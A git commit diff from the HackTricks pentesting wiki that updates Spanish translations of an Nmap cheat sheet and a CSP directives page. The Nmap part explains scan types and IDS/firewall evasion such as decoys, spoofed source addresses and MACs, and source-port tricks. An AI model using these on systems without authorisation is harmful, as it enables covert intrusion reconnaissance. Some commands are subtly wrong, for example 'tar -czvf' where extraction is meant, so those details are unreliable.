Translated ['generic-methodologies-and-resources/pentesting-network/nmap

This commit is contained in:
Translator 2023-08-24 09:52:10 +00:00
parent c867284f96
commit f3c141d174
10 changed files with 973 additions and 416 deletions

View file

@ -538,7 +538,8 @@
* [CRLF (%0D%0A) Injection](pentesting-web/crlf-0d-0a.md)
* [Cross-site WebSocket hijacking (CSWSH)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
* [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md)
* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection/README.md)
* [SS-Leaks](pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md)
* [Dependency Confusion](pentesting-web/dependency-confusion.md)
* [Deserialization](pentesting-web/deserialization/README.md)
* [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md)

View file

@ -1,135 +1,273 @@
# Resumen de Nmap
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```text
```
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```
**-iL** lista\_IPs
## Parámetros
**-iR** numero --&gt; Número de Ips aleatorias, se pueden excluir posibles Ips con **--exclude &lt;Ips&gt;** o **--excludefile &lt;fichero&gt;**
### IPs a escanear
**Descubrimiento de equipos:**
* **`<ip>,<net/mask>`:** Indica las IPs directamente.
* **`-iL <ips_file>`:** lista_IPs.
* **`-iR <number>`**: Número de IPs aleatorias, se pueden excluir posibles IPs con `--exclude <Ips>` o `--excludefile <file>`.
Podemos usar máscaras/24
### Descubrimiento de equipos
**-sL**: No es invasivo, lista los objetivos realizando peticiones de DNS para resolver nombres. Sirve para saber si por ejemplo www.prueba.es/24 todas las Ips son objetivos nuestros.
Por defecto, Nmap lanza una fase de descubrimiento que consiste en: `-PA80 -PS443 -PE -PP`
Por defecto Nmap lanza una fase de descubrimiento que consta de: -PA80 -PS443 -PE -PP
* **`-sL`**: No es invasivo, lista los objetivos haciendo solicitudes **DNS** para resolver nombres. Es útil para saber si, por ejemplo, www.prueba.es/24 todas las IPs son nuestros objetivos.
* **`-Pn`**: **No ping**. Esto es útil si sabes que todos están activos (si no, podrías perder mucho tiempo), pero esta opción también produce falsos negativos diciendo que no están activos. Evita la fase de descubrimiento.
* **`-sn`** : **No escaneo de puertos**. Después de completar la fase de reconocimiento, no escanea puertos. Es relativamente sigiloso y permite un escaneo de red pequeño. Con privilegios, envía un ACK (-PA) a 80, un SYN(-PS) a 443 y una solicitud de eco y una solicitud de marca de tiempo. Sin privilegios, siempre completa las conexiones. Si el objetivo es la red, solo utiliza ARP(-PR). Si se utiliza con otra opción, solo se descartan los paquetes de la otra opción.
* **`-PR`**: **Ping ARP**. Se utiliza de forma predeterminada al analizar equipos en nuestra red, es más rápido que usar pings. Si no se desean utilizar paquetes ARP, se utiliza `--send-ip`.
* **`-PS <ports>`**: Envía paquetes SYN a los puertos, si responde SYN/ACK está abierto (responde con RST para no finalizar la conexión), si responde RST está cerrado y si no responde está inaccesible. En caso de no tener privilegios, se utiliza automáticamente una conexión total. Si no se especifican puertos, se envía a 80.
* **`-PA <ports>`**: Similar al anterior pero con ACK, combinar ambos da mejores resultados.
* **`-PU <ports>`**: El objetivo es lo contrario, se envían a puertos que se espera que estén cerrados. Algunos firewalls solo verifican conexiones TCP. Si está cerrado, responde con "port unreachable", si responde con otro ICMP o no responde, se considera como "destination unreachable".
* **`-PE, -PP, -PM`** : PINGS ICMP: respuesta de eco, marca de tiempo y máscara de dirección. Se envían para averiguar si el objetivo está activo.
* **`-PY<ports>`**: Envía sondas SCTP INIT a 80 de forma predeterminada, puede responder con INIT-ACK (abierto) o ABORT (cerrado) o nada o ICMP unreachable (inactivo).
* **`-PO <protocols>`**: Se indica un protocolo en los encabezados, de forma predeterminada 1 (ICMP), 2 (IGMP) y 4 (Encap IP). Para los protocolos ICMP, IGMP, TCP (6) y UDP (17) se envían los encabezados del protocolo, para el resto solo se envía el encabezado IP. El propósito de esto es que, debido a la deformación de los encabezados, se respondan Protocol unreachable o respuestas del mismo protocolo para saber si está activo.
* **`-n`**: Sin DNS.
* **`-R`**: Siempre DNS.
**-Pn** No ping --&gt; útil **si se sabe que todos están activos** \(sino lo estuviera alguno se podría perder mucho tiempo, pero
**-f** Fragmenta paquetes en 8 bytes después de la cabecera por defecto. Para especificar el tamaño, se usa ..mtu (sin usar -f). El offset debe ser múltiplo de 8. Los escáneres de versión y scripts no soportan la fragmentación.
### Técnicas de escaneo de puertos
**-D decoy1,decoy2,ME** Nmap envía escáneres con otras direcciones IP como origen para ocultar la dirección real. Si se incluye ME en la lista, Nmap te situará allí. Es mejor incluir 5 o 6 direcciones antes de la tuya para enmascararte completamente. Se pueden generar IPs aleatorias con RND:&lt;número&gt; para generar &lt;número&gt; de IPs aleatorias. No funcionan con detectores de versiones sin conexión TCP. Si estás dentro de una red, es mejor usar IPs que estén activas para no ser detectado fácilmente.
* **`-sS`**: No completa la conexión, por lo que no deja rastro, muy bueno si se puede utilizar (con privilegios). Es el que se utiliza de forma predeterminada.
* **`-sT`**: Completa la conexión, por lo que deja un rastro, pero se puede utilizar con seguridad. De forma predeterminada sin privilegios.
* **`-sU`**: Más lento, para UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 y 68), (-sU53,161,162,67,68): abierto(respuesta), cerrado(port unreachable), filtrado (otro ICMP), abierto/filtrado (nada). En caso de abierto/filtrado, -sV envía numerosas solicitudes para detectar alguna de las versiones que nmap admite y puede detectar el estado real. Aumenta mucho el tiempo.
* **`-sY`**: El protocolo SCTP no puede establecer la conexión, por lo que no hay registros, funciona como -PY.
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, pueden penetrar algunos firewalls y extraer información. Se basan en que las máquinas compatibles con los estándares deben responder con RST a todas las solicitudes que no tengan las banderas SYN, RST o ACK levantadas: abierto/filtrado (nada), cerrado(RST), filtrado (ICMP unreachable). No es confiable en Windows, Cisco, BSDI y OS/400. En Unix sí.
* **`-sM`**: Escaneo Maimon: Envía banderas FIN y ACK, utilizado para BSD, actualmente devolverá todo como cerrado.
* **`-sA, sW`**: ACK y Window, se utiliza para detectar firewalls, para saber si los puertos están filtrados o no. El -sW distingue entre abierto/cerrado ya que los abiertos responden con un valor de ventana diferente: abierto (RST con ventana distinta de 0), cerrado (RST ventana = 0), filtrado (ICMP unreachable o nada). No todos los equipos funcionan de esta manera, por lo que si todos están cerrados, no está funcionando, si hay algunos abiertos, está funcionando correctamente y si hay muchos abiertos y pocos cerrados, está funcionando al revés.
* **`-sI`:** Escaneo inactivo. Para los casos en los que hay un firewall activo pero sabemos que no filtra a una determinada IP (o cuando simplemente queremos anonimato), podemos utilizar el escáner zombie (funciona para todos los puertos) para buscar posibles zombies podemos utilizar el script ipidseq o el exploit auxiliary/scanner/ip/ipidseq. Este escáner se basa en el número IPID de los paquetes IP.
* **`--badsum`:** Envía la suma incorrecta, las computadoras descartarán los paquetes, pero los firewalls podrían responder algo, se utiliza para detectar firewalls.
* **`-sZ`:** Escáner SCTP "extraño", al enviar sondas con fragmentos de eco de cookies, deberían descartarse si están abiertos o responder con ABORT si están cerrados. Puede pasar por firewalls por los que no pasa init, lo malo es que no distingue entre filtrado y abierto.
* **`-sO`:** Escaneo de protocolo IP. Envía encabezados incorrectos y vacíos en los que a veces ni siquiera se puede distinguir el protocolo. Si llega un protocolo ICMP unreachable, está cerrado, si llega un puerto inalcanzable, está abierto, si llega otro error, está filtrado, si no llega nada, está abierto|filtrado.
* **`-b <server>`:** FTPhost--> Se utiliza para escanear un host desde otro, esto se hace conectando el ftp de otra máquina y pidiéndole que envíe archivos a los puertos que se desean escanear desde otra máquina, según las respuestas sabremos si están abiertos o no. \[\<user>:\<password>@]\<server>\[:\<port>] Casi todos los servidores FTP ya no permiten hacer esto y, por lo tanto, tiene poco uso práctico.
### **Análisis centralizado**
Para usar IPs aleatorias: nmap -D RND:10 Ip_objetivo
**-p:** Se utiliza para especificar los puertos a escanear. Para seleccionar los 65335 puertos: **-p-** o **-p all**. Nmap tiene una clasificación interna según su popularidad. Por defecto, utiliza los 1000 puertos principales. Con **-F** (escaneo rápido) se analizan los 100 puertos principales. Con **--top-ports \<numero>** se analizan ese número de puertos principales (de 1 a 65335). Para evitar que se comprueben los puertos en un orden aleatorio, se utiliza **-r**. También se pueden seleccionar rangos de puertos: 20-30,80,443,1024- Esto último significa que se analizarán los puertos a partir del 1024. También se pueden agrupar los puertos por protocolos: U:53,T:21-25,80,139,S:9. Además, se puede elegir un rango dentro de los puertos populares de nmap: -p \[-1024] analiza hasta el 1024 de los incluidos en nmap-services. **--port-ratio \<ratio>** analiza los puertos más comunes según un ratio que debe estar entre 0 y 1.
**-S IP** Se utiliza cuando Nmap no detecta tu dirección IP, para especificarla manualmente. También se puede usar para hacer pensar que hay otro objetivo escaneando.
**-sV** Escaneo de versión, se puede ajustar la intensidad de 0 a 9, por defecto es 7.
**-e &lt;interface&gt;** Para elegir la interfaz.
**--version-intensity \<numero>** Se ajusta la intensidad, de manera que cuanto más bajo sea el número, solo se lanzarán las sondas más probables, pero no todas. Esto puede acortar considerablemente el tiempo de escaneo UDP.
Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les sea más fácil que buscar otra solución. Estos pueden ser los puertos DNS o los de FTP. Para buscar esta vulnerabilidad, Nmap incorpora: **--source-port** _**&lt;número de puerto&gt;**_ y **-g** _**&lt;número de puerto&gt;**_. Son equivalentes.
**-O** Detección de sistema operativo.
**--data** _**&lt;cadena hexadecimal&gt;**_ Para enviar texto hexadecimal: --data 0xdeadbeef y --data \xCA\xFE\x09
**--osscan-limit** Para escanear correctamente un host, se necesita que al menos haya 1 puerto abierto y otro cerrado. Si no se cumple esta condición y hemos utilizado esta opción, no se intentará hacer una predicción del sistema operativo (ahorrando tiempo).
**--data-string** _**&lt;cadena&gt;**_ Para enviar un texto normal: --data-string "Scan conducted by Security Ops, extension 7192"
**--osscan-guess** Cuando la detección de sistema operativo no es perfecta, esto hace que se esfuerce más.
**--data-length** _**&lt;número&gt;**_ Nmap envía solo cabeceras, con esto logramos que añada a estar un número de bytes más (que se generarán aleatoriamente).
**Scripts**
Para configurar el paquete IP completamente, se usa **--ip-options**.
\--script _\<nombre_archivo>_|_\<categoría>_|_\<directorio>_|_\<expresión>_\[,...]
Si se desea ver las opciones en los paquetes enviados y recibidos, se especifica **--packet-trace**. Para obtener más información y ejemplos de uso de opciones IP con Nmap, consulte [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
Para utilizar los scripts por defecto, se utiliza -sC o --script=default.
**--ttl** _**&lt;valor&gt;**_
Los tipos disponibles son: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version y vuln.
**--randomize-hosts** Para que el ataque sea menos obvio.
* **Auth:** ejecuta todos los scripts disponibles para autenticación.
* **Default:** ejecuta los scripts básicos por defecto de la herramienta.
* **Discovery:** recupera información del objetivo o víctima.
* **External:** script para utilizar recursos externos.
* **Intrusive:** utiliza scripts considerados intrusivos para la víctima o objetivo.
* **Malware:** revisa si hay conexiones abiertas por códigos maliciosos o puertas traseras.
* **Safe:** ejecuta scripts que no son intrusivos.
* **Vuln:** descubre las vulnerabilidades más conocidas.
* **All:** ejecuta todos los scripts con extensión NSE disponibles.
**--spoof-mac** _**&lt;dirección MAC, prefijo o nombre del fabricante&gt;**_ Para cambiar la dirección MAC. Ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 y Cisco.
Para buscar scripts:
**--proxies** _**&lt;lista separada por comas de URLs de proxy&gt;**_ Para usar proxies. A veces, un proxy no mantiene tantas conexiones abiertas como Nmap quiere, por lo que habría que modificar el paralelismo: --max-parallelism.
**nmap --script-help="http-\*" -> Los que empiecen por http-**
**-sP** Para descubrir hosts en la red en la que estamos por ARP.
**nmap --script-help="not intrusive" -> Todos menos esos**
Muchos administradores crean una regla en el firewall que permite pasar todos los paquetes que provienen de un puerto en particular (como el 20, 53 y 67). Podemos decirle a Nmap que mande nuestros paquetes desde esos puertos: **nmap --source-port 53 Ip**.
**nmap --script-help="default or safe" -> Los que están en uno o en otro o en ambos**
**nmap --script-help="default and safe" --> Los que están en ambos**
**nmap --script-help="(default or safe or intrusive) and not http-\*"**
\--script-args _\<n1>_=_\<v1>_,_\<n2>_={_\<n3>_=_\<v3>_},_\<n4>_={_\<v4>_,_\<v5>_}
\--script-args-file _\<nombre_archivo>_
\--script-help _\<nombre_archivo>_|_\<categoría>_|_\<directorio>_|_\<expresión>_|all\[,...]
\--script-trace ---> Proporciona información sobre cómo va el script.
\--script-updatedb
**Para utilizar un script, solo hay que escribir: nmap --script Nombre\_del\_script objetivo** --> Al especificar el script, se ejecutará tanto el script como el escáner, por lo que también se pueden añadir opciones del escáner. Se puede añadir **"safe=1"** para que solo se ejecuten los scripts seguros.
**Control de tiempo**
**Nmap puede modificar el tiempo en segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s y 15m hacen lo mismo.
Nmap divide el número total de hosts a escanear en grupos y analiza esos grupos en bloques, de manera que no pasa al siguiente bloque hasta que no se hayan analizado todos los hosts del bloque (y el usuario no recibe ninguna actualización hasta que se haya analizado el bloque). De esta forma, es más eficiente para nmap utilizar grupos grandes. Por defecto, en una clase C se utilizan 256.
Se puede cambiar con **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Ajustar el tamaño de los grupos de escaneo en paralelo)
Se puede controlar el número de escáneres en paralelo, pero es mejor no hacerlo (nmap ya incorpora un control automático basado en el estado de la red): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
Se puede modificar el tiempo de espera de rtt, pero generalmente no es necesario: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
Se puede modificar el número de intentos: **--max-retries** _**\<numtries>**_
Se puede modificar el tiempo de escaneo de un host: **--host-timeout** _**\<time>**_
Se puede modificar el tiempo entre cada prueba para que sea más lento: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
Se puede modificar el número de paquetes por segundo: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
Muchos puertos tardan mucho en responder al estar filtrados o cerrados, si solo nos interesan los abiertos, se puede ir más rápido con: **--defeat-rst-ratelimit**
Para definir el nivel de agresividad de nmap: -T paranoid|sneaky|polite|normal|aggressive|insane
\-T (0-1)
\-T0 --> Solo se escanea 1 puerto a la vez y se espera 5 minutos hasta el siguiente.
\-T1 y T2 --> Muy parecidos, pero solo esperan 15 y 0,4 segundos respectivamente entre cada prueba.
\-T3 --> Funcionamiento por defecto, incluye en paralelo.
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
\-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms
**Firewall/IDS**
No permiten el paso a puertos y analizan paquetes.
**-f** Fragmenta paquetes en 8 bytes después de la cabecera. Para especificar un tamaño diferente, usa ..mtu (no uses -f). El offset debe ser múltiplo de 8. Los escáneres de versión y scripts no admiten fragmentación.
**-D decoy1,decoy2,ME** Nmap envía escáneres con direcciones IP de origen diferentes para ocultar tu identidad. Si incluyes ME en la lista, Nmap te ubicará allí. Es mejor incluir 5 o 6 direcciones antes de la tuya para ocultarte por completo. Puedes generar IP aleatorias con RND:\<número> para generar \<número> de IP aleatorias. No funcionan con detección de versiones sin conexión TCP. Si estás dentro de una red, es recomendable usar IP que estén activas para no revelar que eres el único activo.
Para usar IP aleatorias: nmap -D RND:10 IP_objetivo
**-S IP** Úsalo cuando Nmap no detecte tu dirección IP, debes proporcionarla manualmente. También se puede utilizar para hacer creer que hay otro objetivo escaneando.
**-e \<interfaz>** Elige la interfaz de red.
Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les resulte más fácil que buscar otra solución. Estos puertos pueden ser DNS o FTP, por ejemplo. Para buscar esta vulnerabilidad, Nmap incorpora: **--source-port** _**\<númerodepuerto>**_ y **-g** _**\<númerodepuerto>**_ (son equivalentes).
**--data** _**\<cadena hexadecimal>**_ Envía texto en formato hexadecimal: --data 0xdeadbeef y --data \xCA\xFE\x09
**--data-string** _**\<cadena>**_ Envía texto normal: --data-string "Scan conducted by Security Ops, extension 7192"
**--data-length** _**\<número>**_ Nmap envía solo las cabeceras, con esto se puede agregar un número de bytes adicionales (generados aleatoriamente).
Para configurar completamente el paquete IP, usa **--ip-options**.
Si deseas ver las opciones en los paquetes enviados y recibidos, especifica --packet-trace. Para obtener más información y ejemplos de uso de las opciones IP con Nmap, consulta [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
**--ttl** _**\<valor>**_
**--randomize-hosts** Hace que el ataque sea menos obvio.
**--spoof-mac** _**\<direcciónMAC, prefijo o nombre del fabricante>**_ Cambia la dirección MAC. Ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 y Cisco.
**--proxies** _**\<lista separada por comas de URLs de proxy>**_ Permite usar proxies. A veces, un proxy no mantiene tantas conexiones abiertas como Nmap necesita, por lo que es posible que debas ajustar la simultaneidad con --max-parallelism.
**-sP** Descubre hosts en la red utilizando ARP.
Muchos administradores crean una regla en el firewall que permite el paso de todos los paquetes que provienen de un puerto en particular (como el 20, 53 y 67). Podemos indicarle a Nmap que envíe nuestros paquetes desde esos puertos: **nmap --source-port 53 IP**
**Salidas**
**-oN file** Salida normal.
**-oN archivo** Salida normal.
**-oX file** Salida XML.
**-oX archivo** Salida en formato XML.
**-oS file** Salida de script kiddies.
**-oS archivo** Salida para script kiddies.
**-oG file** Salida grepable.
**-oG archivo** Salida en formato grepable.
**-oA file** Todos menos -oS.
**-oA archivo** Todas las salidas excepto -oS.
**-v level** Verbosidad.
**-v nivel** Nivel de verbosidad.
**-d level** Depuración.
**-d nivel** Nivel de depuración.
**--reason** Por qué del host y estado.
**--reason** Muestra la razón del estado del host.
**--stats-every time** Cada ese tiempo nos dice cómo va.
**--stats-every tiempo** Muestra el estado cada cierto tiempo.
**--packet-trace** Para ver qué paquetes salen, se pueden especificar filtros como: --version-trace o --script-trace.
**--packet-trace** Muestra los paquetes enviados. Se pueden especificar filtros como --version-trace o --script-trace.
**--open** Muestra los puertos abiertos, abiertos/filtrados y los no filtrados.
**--open** Muestra los puertos abiertos, abiertos|filtrados y no filtrados.
**--resume file** Saca un resumen.
**--resume archivo** Genera un resumen.
**Miscelánea**
**-6** Permite IPv6.
**-6** Permite el uso de IPv6.
**-A** Es lo mismo que -O -sV -sC --traceroute.
**-A** Equivalente a -O -sV -sC --traceroute.
**Run time**
**Tiempo de ejecución**
Mientras corre Nmap, se pueden cambiar opciones:
Mientras Nmap se está ejecutando, se pueden cambiar las opciones:
v / V Aumentar / disminuir el nivel de verbosidad.
v / V Aumenta / disminuye el nivel de verbosidad.
d / D Aumentar / disminuir el nivel de depuración.
d / D Aumenta / disminuye el nivel de depuración.
p / P Activar / desactivar el rastreo de paquetes.
p / P Activa / desactiva el rastreo de paquetes.
? Imprimir una pantalla de ayuda de interacción en tiempo de ejecución.
? Muestra una pantalla de ayuda interactiva durante la ejecución.
**Vulscan**
Es un script de Nmap que mira las versiones de los servicios obtenidos en una base de datos offline (que descarga de otras muy importantes) y devuelve las posibles vulnerabilidades.
Es un script de Nmap que verifica las versiones de los servicios utilizando una base de datos offline (descargada de fuentes muy importantes) y devuelve posibles vulnerabilidades.
Las bases de datos que usa son:
Las bases de datos que utiliza son:
1. Scipvuldb.csv \| [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
2. Cve.csv \| [http://cve.mitre.org](http://cve.mitre.org/)
3. Osvdb.csv \| [http://www.osvdb.org](http://www.osvdb.org/)
4. Securityfocus.csv \| [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
5. Securitytracker.csv \| [http://www.securitytracker.com](http://www.securitytracker.com/)
6. Xforce.csv \| [http://xforce.iss.net](http://xforce.iss.net/)
7. Exploitdb.csv \| [http://www.exploit-db.com](http://www.exploit-db.com/)
8. Openvas.csv \| [http://www.openvas.org](http://www.openvas.org/)
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
3. Osvdb.csv | [http://www.osvdb.org](http://www.osvdb.org/)
4. Securityfocus.csv | [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
5. Securitytracker.csv | [http://www.securitytracker.com](http://www.securitytracker.com/)
6. Xforce.csv | [http://xforce.iss.net](http://xforce.iss.net/)
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
Para descargarlo e instalarlo en la carpeta de Nmap:
Para descargar e instalar Vulscan en la carpeta de Nmap:
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
También habría que descargar los paquetes de las bases de datos y añadirlos a /usr/share/nmap/scripts/vulscan/.
También debes descargar los paquetes de las bases de datos y agregarlos a /usr/share/nmap/scripts/vulscan/.
Uso:
Para usar todas las bases de datos: sudo nmap -sV --script=vulscan HOST_A_ESCANEAR.
Para utilizar todas las bases de datos: sudo nmap -sV --script=vulscan HOST_A_ESCANEAR
Para usar una base de datos específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST_A_ESCANEAR.
Para utilizar una base de datos específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST_A_ESCANEAR
## Acelerar el escaneo de servicios de Nmap x16
Según [**este artículo**](https://joshua.hu/nmap-speedup-service-scanning-16x), puedes acelerar el análisis de servicios de Nmap modificando todos los valores de **`totalwaitms`** en **`/usr/share/nmap/nmap-service-probes`** a **300** y **`tcpwrappedms`** a **200**.
Además, las sondas que no tienen un valor específicamente definido de **`servicewaitms`** utilizan un valor predeterminado de **`5000`**. Por lo tanto, podemos agregar valores a cada una de las sondas, o podemos **compilar Nmap** nosotros mismos y cambiar el valor predeterminado en [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
Si no deseas cambiar los valores de **`totalwaitms`** y **`tcpwrappedms`** en absoluto en el archivo `/usr/share/nmap/nmap-service-probes`, puedes editar el [código de análisis](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) para que estos valores en el archivo `nmap-service-probes` se ignoren por completo.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family).
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -64,7 +64,7 @@ object-src 'none';
```
### Directivas
* **script-src**: Esta directiva especifica las fuentes permitidas para JavaScript. Esto incluye no solo las URL cargadas directamente en elementos, sino también cosas como los controladores de eventos de script en línea (onclick) y las hojas de estilo XSLT que pueden desencadenar la ejecución de scripts.
* **script-src**: Esta directiva especifica las fuentes permitidas para JavaScript. Esto incluye no solo las URL cargadas directamente en elementos, sino también cosas como los controladores de eventos de script en línea (onclick) y las hojas de estilo XSLT que pueden activar la ejecución de scripts.
* **default-src**: Esta directiva define la política para obtener recursos de forma predeterminada. Cuando las directivas de obtención están ausentes en la cabecera CSP, el navegador sigue esta directiva de forma predeterminada.
* **Child-src**: Esta directiva define los recursos permitidos para los trabajadores web y los contenidos incrustados en marcos.
* **connect-src**: Esta directiva restringe las URL que se pueden cargar utilizando interfaces como fetch, websocket, XMLHttpRequest.
@ -75,8 +75,8 @@ object-src 'none';
* **manifest-src**: Esta directiva define las fuentes permitidas de los archivos de manifiesto de la aplicación.
* **media-src**: Define las fuentes permitidas desde las que se pueden cargar objetos multimedia.
* **object-src**: Define las fuentes permitidas para los elementos \<object>, \<embed> y \<applet>.
* **base-uri**: Define las URL permitidas que se pueden cargar mediante un elemento.
* **form-action**: Esta directiva enumera los puntos finales válidos para la presentación de formularios desde etiquetas.
* **base-uri**: Define las URL permitidas que se pueden cargar utilizando un elemento.
* **form-action**: Esta directiva enumera los puntos finales válidos para el envío desde etiquetas.
* **plugin-types**: Define límites en los tipos de mime que una página puede invocar.
* **upgrade-insecure-requests**: Esta directiva instruye a los navegadores a reescribir los esquemas de URL, cambiando HTTP a HTTPS. Esta directiva puede ser útil para sitios web con un gran número de URL antiguas que necesitan ser reescritas.
* **sandbox**: La directiva sandbox habilita un sandbox para el recurso solicitado, similar al atributo sandbox. Aplica restricciones a las acciones de una página, incluyendo la prevención de ventanas emergentes, la prevención de la ejecución de complementos y scripts, y la aplicación de una política de mismo origen.
@ -89,7 +89,7 @@ object-src 'none';
* **none**: Esta directiva no permite cargar nada desde ninguna fuente.
* **unsafe-eval**: Esto permite el uso de eval() y métodos similares para crear código a partir de cadenas. No es una práctica segura incluir esta fuente en ninguna directiva. Por la misma razón, se llama insegura.
* **unsafe-hashes**: Esto permite habilitar controladores de eventos en línea específicos.
* **unsafe-inline**: Esto permite el uso de recursos en línea, como elementos en línea, URLs de javascript: en línea, controladores de eventos en línea y elementos en línea. Nuevamente, esto no se recomienda por razones de seguridad.
* **unsafe-inline**: Esto permite el uso de recursos en línea, como elementos en línea, URLs de javascript en línea, controladores de eventos en línea y elementos en línea. Nuevamente, esto no se recomienda por razones de seguridad.
